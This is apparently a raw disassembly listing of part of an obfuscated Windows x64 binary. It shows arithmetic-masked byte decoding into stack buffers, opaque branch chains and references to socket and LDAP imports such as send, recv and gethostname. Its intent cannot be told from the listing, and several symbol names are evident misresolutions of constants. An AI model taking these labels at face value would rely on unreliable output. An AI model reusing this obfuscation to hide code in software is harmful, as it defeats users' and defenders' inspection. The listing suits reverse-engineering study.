add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x1400a1002
movabs rdx, 0xa8f53c8abe49d0ae
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a1c09
movabs rdx, 0x1ef887a579919860
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1c33
movabs rcx, 0x94fbd2c034d96012
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x7e
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a1002
movabs rdx, 0xaff1ddaf02127c4
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5c
jmp 0x1400a1adb
movabs rdx, 0x810268f5ab68ef76
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3a
jmp 0x1400a1c6d
movabs rcx, 0xf705b41066b0b728
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400a1002
movabs rcx, 0x9e0defd33ae42a65
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x3d
mov byte [rbp + rdi + 0xa28], r11b
inc rdi
jmp 0x1400a1002
movabs rcx, 0x14113aedf62bf217
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x5f
cmp r8, 0x20
jb 0x1400a14c4
movabs rcx, 0x7d5809acb0b3378a
add rcx, rdi
movzx eax, cl
and al, r10b
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x1400a1bb7
movabs rdx, 0x8a148608b173b9c9
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7f
add r11b, dl
cmp r9, 0x2a
jae 0x1400a1a82
lea rax, [r8 + 0x200]
cmp r9, rax
jbe 0x1400a19d7
movabs rcx, 0x1978f8b80181047e
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x72
jmp 0x1400a14f3
movabs rcx, 0x17d1236cbb817b
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5d
lea rax, [r9 + r8]
cmp rax, 0x42
je 0x1400a1ab3
lea rax, [r8 + 0x64]
cmp r9, rax
jbe 0x1400a18c7
movabs rcx, 0x709b8d50aff2b54b
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xd
jmp 0x1400a1546
movabs rcx, 0xf530846be955db32
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x5e
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400a1002
movabs rdx, 0x6b33cf86a49da2e4
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3c
jmp 0x1400a1c6d
movabs rcx, 0xe1371aa15fe56a96
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1a
jmp 0x1400a1ade
movabs rdx, 0x573a65bc1b2d3248
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a1002
movabs rdx, 0xcd3db0d6d674f9fa
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1c33
movabs rdx, 0x4340fbf191bcc1ac
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a1c09
movabs rdx, 0xb944470c4d04895e
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rdi
inc rdi
jmp 0x1400a1002
movabs rcx, 0x2f479227084c5110
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x70
inc r8
dec rdi
inc rdi
jmp 0x1400a1002
movabs rdx, 0xa54add41c39418c2
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x4e
jmp 0x1400a1bb4
lea rax, [r8 + 0x61]
cmp r9, rax
jae 0x1400a17a0
movabs rdx, 0x44fe5a72a25c1c27
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x11
add r11b, dl
jmp 0x1400a15a3
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a17e7
movabs rdx, 0x51bad6cea31c9e66
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400a1002
inc rax
cmp r9, rax
jne 0x1400a1827
movabs rcx, 0xefb0f57e71454750
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a1002
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400a1858
movabs rcx, 0x3aa5f48fab5b7ec
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
jmp 0x1400a1c0c
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400a1894
movabs rdx, 0x8da7142e3f6df03a
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rdi
inc rdi
jmp 0x1400a1002
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1400a15a3
movabs rdx, 0xa1a07df8c8de60d6
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a1bb4
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a18f9
movabs rdx, 0xfa984235f4aaed99
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2f
jmp 0x1400a1bb4
inc rax
cmp r9, rax
jne 0x1400a1930
movabs rcx, 0xe91ac007e1b5e35
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x73
dec rdi
inc rdi
jmp 0x1400a1002
lea rax, [r8 + 4]
cmp r9, rax
jne 0x1400a1962
movabs rcx, 0x228b15cb078bced1
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x49
jmp 0x1400a1c33
lea rax, [r8 + 6]
cmp r9, rax
jne 0x1400a1994
movabs rdx, 0x36847f9590fc3f6d
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 5
jmp 0x1400a1adb
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a1546
movabs rcx, 0x4a7de9601a6cb009
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x3f
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400a1002
lea rax, [r8 + 1]
cmp r9, rax
jne 0x1400a1a1e
movabs rdx, 0xa375ad9d46393ccc
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400a1002
inc rax
cmp r9, rax
jne 0x1400a1a50
movabs rdx, 0xb76f1767cfa9ad68
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a1adb
lea rax, [r8 + 3]
cmp r9, rax
jne 0x1400a14f3
movabs rdx, 0x556536179dd25652
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x3e
jmp 0x1400a1c09
movabs rdx, 0x754be91f56b6fd8
add rdx, rdi
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0xa28]
add r11b, dl
add r11b, r10b
jmp 0x1400a1c0c
movabs rdx, 0x915173773a23a826
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rdi + 0xa28]
sub r11b, 0xa
add r11b, dl
movabs rdx, 0xd64fcde9dc7fc44d
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x1b
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0xa28], al
inc r8
add rax, r8
sub rdi, rax
jmp 0x1400a1c70
movabs rcx, 0xe4c9a8c6eddfa107
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x31
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a1002
movabs rcx, 0x5accf3e1a92768b9
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xf
jmp 0x1400a1c33
movabs rdx, 0x32da204c96468781
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x79
jmp 0x1400a1bb4
movabs rdx, 0x1ee0b6820cd616e5
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x43
add r11b, dl
movabs rcx, 0xc256641f530f53b1
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x29
add cl, r10b
mov byte [rbp + rdi + 0xa28], cl
inc r8
dec rdi
inc rdi
jmp 0x1400a1002
movabs rdx, 0x80ea97d23ead6dfb
add rdx, rdi
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x23
add r11b, dl
movabs rcx, 0x4c53190497c78bff
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 7
add cl, r10b
add cl, r11b
mov byte [rbp + rdi + 0xa28], cl
add r9, r8
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400a1002
mov r10, rbx
movabs rdx, 0x58f7c43d2bcc8cc3
add rdx, rdi
movzx eax, dl
and al, bl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x55
add r11b, dl
movabs rcx, 0x1b4e285c7edbe074
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x2c
add r10b, cl
mov byte [rbp + rdi + 0xa28], r10b
inc r9
mov rax, r12
sub rax, r9
add rdi, rax
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400a1002
movabs rcx, 0xcefb0f57e7145475
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x33
movzx eax, byte [rbp + rdi + 0xa28]
add rax, r8
add rdi, rax
inc rdi
jmp 0x1400a1002
movabs rcx, 0xd824fd8e59daa043
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x2b
jmp 0x1400a0ffe
movabs rcx, 0x4e2848a9152267f5
add rcx, rdi
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x4d
jmp 0x1400a0fe8
lea rcx, [rbp + 0x162f45c]
jmp 0x1400a1d55
lea rcx, [rbp + 0x7f1083]
jmp 0x1400a1d55
lea rcx, [rbp + 0xa28]
mov dword [rbp + 0x1040], 0x1f4
mov dword [rbp + 0x1038], reloc.WLDAP32.dll_Ordinal_60
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0x1040]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x1038]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.140037e30
test al, al
je 0x1400a1deb
lea rdx, [0x140229dc0]
lea rcx, [rbp + 0x328]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp - 0x18]
mov rcx, qword [0x140230160]
call fcn.14006c820
mov rdi, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [rdi + 0x38], 0
jne 0x1400a4062
mov eax, dword [rdi + 0x30]
mov dword [0x1401dc8a0], eax
mov dword [rbp - 0x5c], 0
mov dword [rbp - 0x58], 0
mov byte [rbp + 0xa50], 0xa5
mov byte [rbp + 0xa51], 0xf9
mov byte [rbp + 0xa52], 0xcb
mov byte [rbp + 0xa53], 0xf7
mov byte [rbp + 0xa54], 0x84
mov byte [rbp + 0xa55], 0xa6
mov byte [rbp + 0xa56], Ordinal_211
mov byte [rbp + 0xa57], Ordinal_200
mov byte [rbp + 0xa58], 0xc9
mov byte [rbp + 0xa59], 0xfd
mov byte [rbp + 0xa5a], WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa5b], xmm0
mov qword [rbp + 0xa6b], rax
movabs rsi, 0x40abb34d6c728650
movabs r13, 0x27a6a703afd4b110
movabs r14, 0x877caf00787c23b0
movabs r15, 0x382f60f918d2c190
movzx r11d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400a2ca1
movzx r10d, byte [rbp + rbx + 0xa50]
mov rdi, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a2c95
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x1400a1ef3
lea rcx, [rbx + r13]
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
sub r11b, 0x70
jmp 0x1400a1f30
je 0x1400a2c0a
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a2b69
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400a2b30
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a2ac9
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a2a74
nop dword [rax]
cmp r9, rbx
ja 0x1400a2c89
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400a1f65
lea rdx, [rbx + rsi]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x30
add r11b, dl
jmp 0x1400a1f90
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a2a4f
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a2a20
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400a29f8
nop dword [rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a2619
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a25f4
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400a25ca
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400a259b
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400a2587
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400a254b
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400a2516
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a24ee
lea rcx, [r9 + 0x200]
cmp r8, rcx
je 0x1400a24c6
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x1400a2490
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400a1fa0
mov r8, rcx
lea r9, [rcx + 8]
lea rax, [r9 + 6]
cmp rcx, rax
jb 0x1400a2c64
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x1400a2c3f
lea rax, [r9 + 0x80]
cmp rcx, rax
jb 0x1400a219d
lea rax, [r9 + 5]
cmp rcx, rax
jb 0x1400a217d
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x1400a215d
lea rax, [r9 + 0x64]
cmp rcx, rax
jb 0x1400a2432
lea rax, [r9 + 0x1000]
cmp rcx, rax
jb 0x1400a23d1
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x1400a237e
lea rax, [r9 + 0x42]
cmp rcx, rax
jb 0x1400a234e
lea rax, [r9 + 0x400]
cmp rcx, rax
jb 0x1400a1fa0
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 9]
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400a2318
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400a22f0
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400a22c8
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400a2293
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400a225f
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400a224b
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x1400a221c
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400a21ea
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400a21c5
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400a1fa0
lea r8, [r9 + 0x10]
lea r9, [r8 + 0x2a]
jmp 0x1400a1fa0
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1f90
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a1f30
movabs rdx, 0xe8e212f1b9295f70
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
add r11b, dl
jmp 0x1400a1eb5
movabs rdx, 0x55d9a6b63943280
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x80
jmp 0x1400a2a94
movabs rdx, 0xb6104c6403ead060
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
inc r9
dec rbx
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x66c2fe5ca4416e40
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x1775b05544980c20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1400a2ad8
movabs rcx, 0xc828624de4eeaa00
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1ea2
movabs rcx, 0x78db1446854547e0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x298dc63f259be5c0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x1400a2b8d
movabs rdx, 0xda407837c5f283a0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x1400a2bc1
movabs rcx, 0x8af32a3066492180
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
movzx eax, byte [rbp + rbx + 0xa50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1ea2
movabs rcx, 0xc4b1e71df721ac30
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
mov byte [rbp + rbx + 0xa50], r11b
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x7564991697784a10
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
add r11b, dl
cmp r9, 1
jb 0x1400a236e
movabs rdx, 0xcc668b780ebe8c60
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea r11d, [rcx*2 - 0x40]
jmp 0x1400a2a97
movabs rdx, 0x26174b0f37cee7f0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r8, 0xa
jae 0x1400a299e
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400a28ad
movabs rdx, 0xb3617f2e5220b720
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a239e
movabs rdx, 0xd6c9fd07d82585d0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x1400a29c8
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400a2783
movabs rdx, 0x72b5cbe0e5ae30d0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
jmp 0x1400a23e9
movabs rcx, 0x840633d08aaf25e0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x20
movzx eax, byte [rbp + rbx + 0xa50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x34b8e5c92b05c3c0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x40
add r11b, dl
jmp 0x1400a2bc1
movabs rdx, 0xe56b97c1cb5c61a0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x60
add r11b, dl
jmp 0x1400a2b8d
movabs rcx, 0x961e49ba6bb2ff80
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x46d0fbb30c099d60
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0xf783adabac603b40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400a2ad8
movabs rdx, 0xa8365fa44cb6d920
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400a1ea2
movabs rcx, 0x58e9119ced0d7700
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
inc r9
dec rbx
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x99bc3958d6414e0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x20
jmp 0x1400a2a94
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400a2642
lea rdx, [rbx + r13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
jmp 0x1400a2453
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a2685
movabs rcx, 0x8157669ad8e50ca0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x60
movzx eax, byte [rbp + rbx + 0xa50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1ea2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a26ba
movabs rdx, 0x1ff202a99837d0e0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x20
add r11b, dl
jmp 0x1400a2b8d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a26db
movabs rdx, 0xdd9ecbfb733f740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1400a2ad8
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400a2717
movabs rdx, 0x5d273ac716dd5960
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400a1ea2
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a2752
movabs rcx, 0xac7488ce7686bb80
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
inc r9
dec rbx
inc rbx
jmp 0x1400a1ea2
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a2456
movabs rcx, 0xfbc1d6d5d6301da0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x60
jmp 0x1400a2a97
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a27b6
movabs rdx, 0xc20319e8455792f0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a2a94
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a27fb
movabs rcx, 0xff385205c3fd1b70
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x10
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1ea2
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400a2841
movabs rdx, 0x4e85a00d23a67d90
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1ea2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a2877
movabs rdx, 0x9dd2ee14834fdfb0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a2b8d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a23f5
movabs rdx, 0xed203c1be2f941d0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a2bc1
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a28f4
movabs rdx, 0x2aecd35b1ca1940
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xa50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1ea2
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a2929
movabs rdx, 0xa1496944711cdd80
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
add r11b, 0x80
add r11b, dl
jmp 0x1400a2b8d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a296b
movabs rcx, 0xf096b74bd0c63fa0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
